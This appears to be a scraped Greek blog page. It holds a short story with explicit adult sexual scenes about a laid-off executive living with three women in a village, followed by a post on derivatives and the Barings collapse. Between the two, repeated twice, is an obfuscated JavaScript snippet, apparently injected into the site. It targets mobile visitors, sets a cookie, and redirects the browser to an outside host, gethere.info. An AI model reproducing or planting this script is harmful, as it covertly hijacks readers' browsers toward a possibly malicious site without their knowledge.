Η μυρωδιά από το φρεσκοψημένο ψωμί πλανάται σε όλη την αυλή και το ισόγειο και μπήκε στο σπίτι κι ανέβηκε επάνω και μέχρι τη στέγη έφθασε και φαίνεται πως ο κορεσμός και η γλυκιά χαλάρωση που κάλυψε το εξουθενωμένο κορμί μου δεν κατάφερε να ικανοποιήσει την πείνα μου.

“Το μυρίζεις;” με ρώτησε και κλείνοντας τα μάτια πήρε μια βαθιά εισπνοή. “Το ξεφούρνισε η Μαριλένα. Είναι έτοιμο.” Φαντάστηκα το ψωμί σαν ζεστό σώμα. Σαν υπέροχο κορμί γυναίκας που δεν θα μπορέσω ποτέ να αγγίξω. “Τώρα ανέβα τη σκάλα σε παρακαλώ να πεις στην κόρη μου τη Μαριλένα να κατεβείτε να φάμε” Γύρισα και κοίταξα τη σκάλα με αγωνία. Υπάρχει και τρίτη γυναίκα στο σπίτι πιο μικρή από τις άλλες δύο. Κάτι τέτοιο σκέφτηκα και τότε η μυρωδιά του ψωμιού με έκανε να το φανταστώ ξανά σαν χορταστικό σώμα γυναίκας. Τότε ήρθε και πάλι στο μυαλό μου η Λώρα. Αυτή τη φορά με βασάνισε με το θλιμμένο βλέμμα της. Ανέβηκα τα σκαλιά , περπάτησα στο διάδρομο και η Λώρα δεν έλεγε να φύγει από την οθόνη των ματιών μου. Κοίταξα τις κλειστές πόρτες. Νομίζω ότι πιάνω ένα άρωμα. Μάλλον φέρνει προς νεανικό αποσμητικό ή καινούριο απορρυπαντικό. Διαλέγω πόρτα και κατεβάζω το πόμολο. Το φως μπαίνει από μεγάλα παράθυρα και τα κλινοσκεπάσματα στο υπέρδιπλο κρεβάτι είναι λευκά. Η πλάτη μιας γυναίκας που χουζουρεύει προβάλλει ανάμεσά τους και μετά πιο κάτω και πιο κάτω μέχρι τις γάμπες , παραμερίζοντας τα σεντόνια τεντώνεται με μικρούς αναστεναγμούς , σαν να ενοχλήθηκε από τον ήχο της πόρτας σαν να ήταν έτοιμη να σηκωθεί και το ανέβαλε. Μου κόβεται η ανάσα. Δεν φοράει τίποτε. Κοιτάζω αμίλητος. Με έχει καταλάβει και παίζει με το οπτικό μου νεύρο που μεταδίδει ασταμάτητα εικόνες απ αυτά, που κάνουν τα κορίτσια στο κρεβάτι το πρωί ,όταν είναι μόνες τους.

Περιμένω. Τεντώνεται νωχελικά. Πλησιάζω στο κρεβάτι. Το πλάσμα μιλάει. “Σ’ ευχαριστώ που έδωσες τόσο μεγάλη χαρά στη γιαγιά μου” . Δεν ξέρω αν έχετε ακούσει γι΄ αυτό το φαινόμενο που όταν μένουν πολλές γυναίκες σε ένα σπίτι μετά από λίγο καιρό προκύπτει το φαινόμενο να έχουν τις ίδιες μέρες περίοδο. Και καλά αυτό ας πούμε ότι το κάνει η φύση για να έχουν ίσες ευκαιρίες στον ανταγωνισμό για τα αρσενικά. Αναρωτιέμαι όμως, αυτό που έγινε πριν στο πλυσταριό της αυλής πως το έμαθε; Πως επικοινώνησαν τα δύο σώματα; Γονατίζω δίπλα στο κρεβάτι. Στρέφεται στο μαξιλάρι και με κοιτάζει. Τα ξανθά μαλλιά της πέφτουν στο πρόσωπο. “Σε ξέρω εσένα” μου λέει. Και ανασηκώνεται για να τρελαθώ με το στήθος της. Δεν θα ήταν υπερβολή να πω ότι όλα αυτά έχουν υπερκαλύψει τη πείνα μου. “…και συ Μαριλένα;” τολμώ να ρωτήσω. “Ναι όπως τη γιαγιά” μου λέει. “Είναι πολύ λυπημένη αυτές τις μέρες , πέθανε ο γιος της, ο πατέρας μου” Δεν απάντησα γιατί συνεχίζω να αιφνιδιάζομαι μαζί της. “Σε λίγες μέρες είναι το μνημόσυνο. Αυτό που είδες στο καζάνι είναι ένα φόρεμα. Βάφει ένα μαύρο φόρεμα, με τον παλιό τρόπο , με χρώμα ανιλίνης και αλάτι. Είναι κάτι τελετουργικό. Παίρνει το καλύτερο χρωματιστό φόρεμά της και το βάφει μαύρο. Αυτό θα φορέσει στο μνημόσυνο.”

Μου φαίνονται πολύ μαγικά όλα αυτά . Αδυνατώ να βγάλω συμπεράσματα. “Σε ξέρω εσένα” μου επαναλαμβάνει. “Από την Πρόκτερ;” ρώτησα. “Μμμμμ όχι ήμουν στην κόκα κόλα. Όμως σε θυμάμαι.” “Ναι αλλά δεν κολλάει” είπα. “Δεν έχω χάσει σεμινάριο ηγεσίας τους τελευταίους μήνες.” της λέω. Το πιθανότερο είναι να συναντηθήκαμε εκεί σκέφτηκα. Μου φαίνεται οικεία , αλλά αυτή η τελευταία μου διαπίστωση μόνο σαν ανέκδοτο στέκει. Ήδη νοιώθω μέλος της οικογένειας. Δεν έχω διευκρινίσει ακόμη το ρόλο μου σ’ αυτό το σπίτι αλλά αισθάνομαι μια απέραντη οικειότητα .

“Θα πάμε για φαγητό;” ρώτησα και με το βλέμμα μου έδειξα τον κάτω όροφο. “Μη στέκεσαι εκεί , έλα λιγάκι εδώ δίπλα μου να μιλήσουμε” είπε. Ξάπλωσα. Σφίχτηκε πάνω μου σαν ναυαγός. “Κάπου σε ξέρω …” μουρμούρισε και με τράβηξε κάτω από το σεντόνι. Αιχμαλωτίστηκα από τα βρόχια της επιθυμίας και τότε η Λώρα με κοίταξε με τα λυπημένα της μάτια ελάχιστα δευτερόλεπτα πριν παραδοθώ στη Μαριλένα junior .

Δεν ξέρω πόσο διαρκεί η προετοιμασία ενός γεύματος. Είμαστε ακόμη στο κρεβάτι και δεν μας αναζήτησε κανείς. “Ήρθα για την κηδεία του πατέρα μου .” είπε και μου δάγκωσε τρυφερά τη μύτη. “ Όταν επέστρεψα στην Αθήνα είχα απολυθεί.” Τώρα με φιλάει στα μάτια. “Μάλωσα με τον δικό μου. Είμαστε μαζί στην CC Co . Όλο αυτόν τον καιρό παίζεται μια μικρή λίστα απολύσεων.” Μου κλείνει τα μάτια με τα χέρια και με δαγκώνει στο πρόσωπο. “Ποιος με έβαλε εκεί; Γνώριζε κάτι και δεν με ενημέρωσε ;;; Έμεινα λίγες μέρες στο σπίτι. Δεν μιλούσαμε. Ούτε καλημέρα. Δεν έκανε καμία προσπάθεια να μετριάσει το βαρύ κλίμα. Μήπως θέλει να χωρίσουμε; σκέφτηκα. Πήρα μερικά τηλέφωνα άτομα από το γραφείο.” Έχει πέσει πάνω μου με σκεπάζει με το σώμα της και μου τραβάει τα μαλλιά. “Δεν απάντησε κανείς. Είναι σαν ίωση. Σαν επικίνδυνη ίωση. Φροντίζουν όλοι να μη έχουν επαφές για να μη κολλήσουν. Απογοητεύτηκα περισσότερο. Όμως δεν του ξαναμίλησα. Είμαι τρεις βδομάδες εδώ. Μου λείπει η δουλειά , μου λείπουν όλοι αυτοί έστω κι αν τώρα μου φαίνονται τόσο δειλοί. Όταν σε είδα να περνάς στην αυλή μας σκέφτηκα ότι έρχεσαι από μας. Πρόσεξες πως μίλησα; Είπα “εμάς” , έχω την ψευδαίσθηση ότι ανήκω ακόμα στην εταιρεία. ”

“ Ήμουν στην πρόκτερ” επανέλαβα.” “ Όταν σε είδα” είπε και έδειξε προς την αυλή “σκέφτηκα: Να ένα διδακτορικό” Έκλεισα τα μάτια και είδα την αποφοίτηση μου και τη Λώρα χαρούμενη δίπλα μου. “..και πως έγινε;” με ρώτησε συνωμοτικά. “ Η σύντροφός μου είναι σε ναυτιλιακή.” είπα. “Όταν απολύθηκα το αντιμετωπίσαμε ψύχραιμα. Σχεδίασα τα επόμενα βήματα. Χωρίς αποτέλεσμα όμως. Μετά από λίγες μέρες έσπασε ο πάγος αυτής της ψυχραιμίας και το σπίτι γέμισε με μια ατμόσφαιρα ηττοπάθειας και επώδυνου άγχους. Σ’ αυτό το τοξικό νέφος πλανιέται η εντύπωση ότι εκδικούμαι τον εαυτό μου και γι αυτό χάνω ευκαιρίες. Είχα τόση αυτοπεποίθηση που έδινα καθημερινά δύο συνεντεύξεις τις επόμενες μέρες. Όμως το άδειο mail box και το κινητό που δεν χτυπά με προσγείωσαν. Αγγίζει τα όρια του μεταφυσικού η λύση του γρίφου: “Γιατί με απορρίπτουν;” Εγώ από την πλευρά μου νομίζω πως μόνο αν έχεις πλάτες – σε κάποιο διοικητικό συμβούλιο ή πολιτικό στήριγμα- μπορείς να προσληφθείς ξανά κάπου. Κι αυτό γιατί η δοκιμασία πρόσληψης είναι πλέον τραυματική. ”

“Μαριλένα” ακούστηκε από δύο στόματα ταυτόχρονα η φωνή από το ισόγειο. Νομίζω πως μας περιμένει το φαγητό. Σηκωθήκαμε. Οι δύο γυναίκες κάθονται στο τραπέζι. Μας κοιτάζουν σαν να είμαστε ζευγάρι. Καθόμαστε δίπλα. Η Μαριλένα τις κοιτάζει και γελάει. Όλοι γελάμε . Δοκιμάζω το φαγητό. Κόβω το φρέσκο ψωμί και βάζω την πρώτη μπουκιά . Αυτό ήταν . Το στομάχι μου δένεται κόμπος. Δεν μπορώ να κατεβάσω τίποτε. Πίνω λίγο κρασί. Ίσως είμαι κάπως καλύτερα. Περιμένω λιγάκι και με ρωτάνε τι έχω. Δείχνω το στομάχι με απογοήτευση. “ Να σου φέρω ένα ζαντάκ” ρωτάει η Μαριλένα. Κατεβάζω το βλέμμα και ψιθυρίζω “Ναι” . Η Μαριλένα ανεβαίνει τη σκάλα. Η γιαγιά και η μάμι με κοιτάζουν χωρίς να σηκώνονται από τις θέσεις τους. Σκύβω και η Λώρα έρχεται ξανά. “ Εκδικείσαι τον εαυτό σου. Αυτοτιμωρείσαι .” μου λέει.

Τις κοιτάζω και λέω σιγά “Θα μου περάσει.” και πιάνω το στομάχι μου. Η Μαριλένα απλώνει το χέρι της και αφήνει το χάπι στο στόμα μου. Πίνω μια γουλιά νερό. Τις κοιτάζω να τρώνε και βρέχω τα χείλη μου με το κρασί.

Αργότερα το απόγευμα είμαστε στο δωμάτιό της. “Δεν έχουμε ίντερεντ εδώ” λέει θλιμμένα. Παρατηρώ το πολύ χαμηλό σήμα στο κινητό της. Τόση ώρα δεν το άκουσα καθόλου να χτυπά. Είμαστε αποκομμένοι. Τις επόμενες μέρες περνάμε πολλές ώρες στο κρεβάτι. Ποτέ δεν είχα το χρόνο να ασχοληθώ τόσο πολύ με ένα γυναικείο κορμί. Με ξυπνάει με σεξ το πρωί και το βράδυ δεν τ ην αφήνω να κοιμηθεί αν δεν της βγάλω τα εσώρουχα. Τι είναι αυτό που ζω; Είναι ένας μεταβατικός παράδεισος πριν βρεθώ ξανά στις δημόσιες σχέσεις μιας άλλης εταιρείας;

Ένα απόγευμα την βλέπω στον κήπο να μιλάει στο κινητό της. Είναι προβληματισμένη. Δεν λέει τίποτε μέχρι να σκοτεινιάσει. Το επόμενο πρωί ψάχνει να βρει κάτι σκουρόχρωμο. Πλησιάζουν οι μέρες για το μνημόσυνο.

Εκείνη την Κυριακή οι τρεις γυναίκες φεύγουν από νωρίς το πρωί ντυμένες στα μαύρα. Δεν ξέρω τι να κάνω μέσα στο άδειο σπίτι. Ίσως είναι μια καλή ευκαιρία να φύγω αθόρυβα τώρα που όλο το χωριό είναι στο μνημόσυνο. Είμαι αναποφάσιστος. Επιστρέφουν αργότερα με κόκκινα μάτια . Η Μαριλένα με αγκαλιάζει και με φιλάει. Οι δύο γυναίκες μιλάνε για μωρά. Εκείνη μου χαμογελάει ειρωνικά. Το Νο1 και το Νο2 του σπιτιού λένε τι δε θα ‘διναν για να μεγαλώνουν ένα μωρό με το φυσικό τρόπο και τις συνθήκες του χωριού και πόσο πολύ αυτό θα άλλαζε τη ζωή τους. Καθόμαστε στο τραπέζι. Η μισή μου ζωή είναι χάμπουργκερ και βιαστικά γεύματα στο πόδι , στο γραφείο , τη νύχτα στον υπολογιστή . Εδώ στηρίζεται και η αυτοπεποίθησή μου. Ήμουν ολοκληρωτικά δοσμένος σ΄ αυτήν τη δουλειά. Τώρα μπορώ να πω ότι επιτέλους απολαμβάνω το φαγητό. Έχω βάλει δύο κιλά ίσως αυτόν τον καιρό. Είναι μια ένδειξη ότι ανήκω πια στην οικογένεια.

Ένα βράδυ βγάζει τα ρούχα της νωχελικά μπροστά μου και περιμένει. Καταλήγουμε στο κρεβάτι. Μέχρι να ξημερώσει δεν με αφήνει σε ησυχία. Κοιμόμαστε με τις πρώτες ακτίνες της ανατολής. Ξυπνάω πολύ αργά. Δεν είναι δίπλα μου. Τη φωνάζω. Τίποτε. Σηκώνομαι. Η γιαγιά και η μάμι με κοιτάζουν αινιγματικά. Είναι … είναι … πως να το πω τώρα , σαν δεύτερη απόλυση είναι. Μπορεί και να βούρκωσα. Έρχονται και οι δύο και με αγκαλιάζουν. Η Λώρα με κοιτάζει με οίκτο. Δεν μιλάω. Δεν μιλάω καθόλου, ούτε τις επόμενες μέρες. Εκείνες δείχνουν να  περιμένουν.

Σκέφτομαι πως αν επέστρεψε στη δουλειά μπορεί και να είναι ευτυχισμένη. Μένω ξάγρυπνος. Ο ύπνος με παίρνει αργά τα χαράματα. Κοιμάμαι τη μέρα και ζω τη νύχτα. Ένα πρωί βρίσκω     το “Νο 2” στο κρεβάτι μου. Με κοιτάζει αποφασιστικά. Η Λώρα δεν μ’ αφήνει σε ησυχία. Η Μαριλένα είναι πολύ μακριά. Ενδίδω.

Δεν θα περάσουν λίγες μέρες και το Νο1 -η γιαγιά- έχει αρχίσει από το φαγητό ακόμη να μου δείχνει το στήθος της. Σκύβει δήθεν , ένα κουμπί είναι ανοιχτό , ο στηθόδεσμος -αυτό το τεράστιο διπλό αλεξίπτωτο – είναι απλωμένος με τη μπουγάδα. Το Νο 2 φεύγει διακριτικά από το τραπέζι και ότι επακολουθεί έχει αποφασιστεί να γίνει εκεί.

Έχω χάσει τις μέρες . Δεν έχω νέα από τη Μαριλένα. Δεν υπάρχει κινητό , ίντερνετ, τηλέφωνο. Σκέφτομαι σοβαρά να βγω ένα βράδυ έξω στο χωριό και να διαρρήξω σπίτι η μαγαζί με τηλέφωνο για να επικοινωνήσω μαζί της. Περνάω πολλές ώρες στο κρεβάτι , με τα μάτια στο ανάγλυφο ταβάνι , που τα δαιδαλώδη σχέδιά του με βοηθάνε να σκεφτώ. Η Λώρα όποτε θέλει έρχεται να με βασανίσει με το βλέμμα της , με τη θλίψη της , με τον απόμακρο σνομπισμό της.

Δεν ξέρω πόσο καιρό θα μείνω ακόμα εδώ.

akaras1979@yahoo.gr

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Παράγωγα και στοιχήματα.

Παράγωγα και στοιχήματα.

 

Όταν το 2001 η χρηματιστηριακή μας έφερε ειδικό αναλυτή με μετεκπαίδευση στο City να μας ενημερώσει για τα παράγωγα , ήμουν ο μοναδικός νεαρός ανάμεσα σε 60ρηδες και 70ρηδες που προσπαθούσαν να κατανοήσουν το καινούριο προϊόν για να περισώσουν και να εξασφαλίσουν το ήδη ακρωτηριασμένο χαρτοφυλάκιό τους.

Όταν ο αναλυτής μας εξήγησε ότι τα παράγωγα είναι προϊόν εξασφάλισης του χαρτοφυλακίου , διότι με ένα συγκριτικά μικρό ποσόν μπορείς να ποντάρεις στην εκδοχή της πτώσης (αφού στις μετοχές όλοι περιμένουμε να ανεβούν οι τιμές τους ) και να περιορίσεις τις απώλειες κερδίζοντας από την πτώση. Συγκεκριμένα για να μας αποδείξει ότι το προϊόν είναι αξιόπιστο μας είπε ότι στα διεθνή χρηματιστήρια τα μεγάλα χαρτοφυλάκια πάντα εξασφαλίζονται με αντίστοιχα παράγωγα. Επίσης μας είπε ότι όποιος από μας έχει βαρεθεί αυτό το αρνητικό κλίμα και τις απότομες διακυμάνσεις αλλά και την συνεχιζόμενη πτωτική πορεία των μετοχών (τότε τα πράγματα πήγαιναν πολύ άσχημα) μπορεί ακόμη και να πουλήσει τις μετοχές του και να παίξει αποκλειστικά παράγωγα. Μάλιστα τόνισε ότι αν έχουμε κάποια “φαεινή ιδέα” μπορούμε να παίξουμε ακόμη και σε χρονικό ορίζοντα μιας μέρας και να ποντάρουμε μεγαλύτερα ποσά από το μικροποσό κάποιας εξασφάλισης. Αν δηλαδή νομίζω ότι το χρηματιστήριο θα κινηθεί πτωτικά σήμερα αγοράζω κάποια πτωτικά συμβόλαια το πρωί και εφόσον συμβεί η πρόβλεψή μου τα πουλάω το μεσημέρι και με τον μηχανισμό της μόχλευσης που ισχύει για τα παράγωγα μπορεί να κερδίσω και 10 και 20 φορές το ποσόν που επένδυσα.

Μας φάνηκε ελκυστικό. Όμως αμέσως μας γεννήθηκε η απορία. Γιατί αφού η πρώτη δική μου -πονηρή -σκέψη είναι να ποντάρω λίγα και να κερδίσω πολλά , γιατί αυτοί οι μεγάλοι επενδυτές αρκούνται να εξασφαλίσουν το χαρτοφυλάκιο τους από μία ενδεχόμενη ζημιά και δεν παίζουν κι αυτοί “τζόγο” και μάλιστα με περισσότερα χρήματα;

Συνέβη κι αυτό και μάλιστα με τον πιο θεαματικό και καταστροφικό τρόπο. Διαβάστε πως περιγράφεται στις σελίδες του δικού μας Χρηματιστηρίου:

30.4.07

Barings by Nick Leeson

Τον Φεβρουάριο του 1995, ένας μόνο άνθρωπος οδήγησε στη χρεωκοπία την τράπεζα που χρηματοδότησε του Ναπολεόντιους Πολέμους…

Η Barings Bank ιδρύθηκε στο 1762 και ήταν η αρχαιότερη βρετανική εμπορική τράπεζα καθώς και η προσωπική τράπεζα της Βασίλισσας Ελισάβετ. Κατέρρευσε από έναν χρηματιστή, τον Nick Leeson, των γραφείων της ..Σινγκαπούρης, όπου στάλθηκε για να κερδίσει από στρατηγικές αρμπιτραζ χαμηλού ρίσκου μεταξύ συμβολαίων παραγώγων των χρηματιστηρίων της Σινγκαπούρης και της Οσάκα (Ιαπωνία). Το σκάνδαλο άφησε $1,4 δις τρύπα στους ισολογισμούς της τράπεζας εξαιτίας των ανεξέλεγκτων κερδοσκοπικών παιχνιδιών του trader…

Ο Nick Leeson γεννήθηκε στο Λονδίνο και ξεκίνησε να εργάζεται στην Morgan Stanley. Γρήγορα μετακινήθηκε στην Barings και μετατέθηκε αρχικά στην Τζακάρτα (Ινδονησία) για να εξιχνιάσει μια υπόθεση £100 εκ. που σχετιζόταν με εργασίες back-office και όταν το κατέφερε σε δέκα μόλις μήνες είδε την αναγνώριση στο πρόσωπό του να εκτοξεύεται. Το 1992, μετά από την επιτυχία του, μετατέθηκε ξανά στην Σινγκαπούρη και πήρε προαγωγή σε Γενικό Διευθυντή. Είχε μάλιστα και το προνόμιο να προσλαμβάνει και να απολύει υπαλλήλους. Η εμπειρία του ως χρηματιστής ήταν μικρή όμως γρήγορα πήρε την πιστοποίηση για το Χρηματιστήριο Εμπορευμάτων της Σινγκαπούρης [Singapore Mercantile Exchange (SIMEX)] μαζί με τους χρηματιστές του γραφείου του.
Αυτός και οι υπάλληλοί του είχαν την δυνατότητα να πραγματοποιούν δύο ειδών συναλλαγές:
1. Αγοροπωλησίες σε ΣΜΕ (futures) και Δικαιώματα Προαίρεσης (options) ύστερα από εντολές πελατών ή άλλων εταιρειών της Barings, και
2. Αρμπιτράζ τιμών (arbitrage) σε ΣΜΕ του Nikkei που διαπραγματεύονταν στο SIMEX και στο Χρηματιστήριο της Οσάκα (Ιαπωνία)
Σημειώνεται ότι τέτοιο αρμπιτράζ θεωρείται χαμηλού ρίσκου στρατηγική και ο Leeson με την ομάδα του θα απολάμβαναν μικρά κέρδη και δεν θα εμπλέκονται σε κερδοσκοπικά παιχνίδια.

Ως Γενικός Διευθυντής, ο Nick Leeson παρέβλεψε ότι οι λειτουργίες των αγοροπωλησιών και του back-office είναι ξεχωριστές και ελαχιστοποίησε τις απαραίτητες διαδικασίες εσωτερικού ελέγχου που όλα τα ιδρύματα εφαρμόζουν. Επιπλέον, το ανώτερό του management, επειδή προερχόταν κυρίως από τη εμπορική λειτουργία της Τράπεζας, δεν εκτίμησε σωστά τους κινδύνους που ενέχουν οι αγοροπωλησίες επί πααργώγων, ενώ δεν υπήρχε και κάποιος υπέυθυνος να επιβλέπει τους χειρισμούς του Leeson.

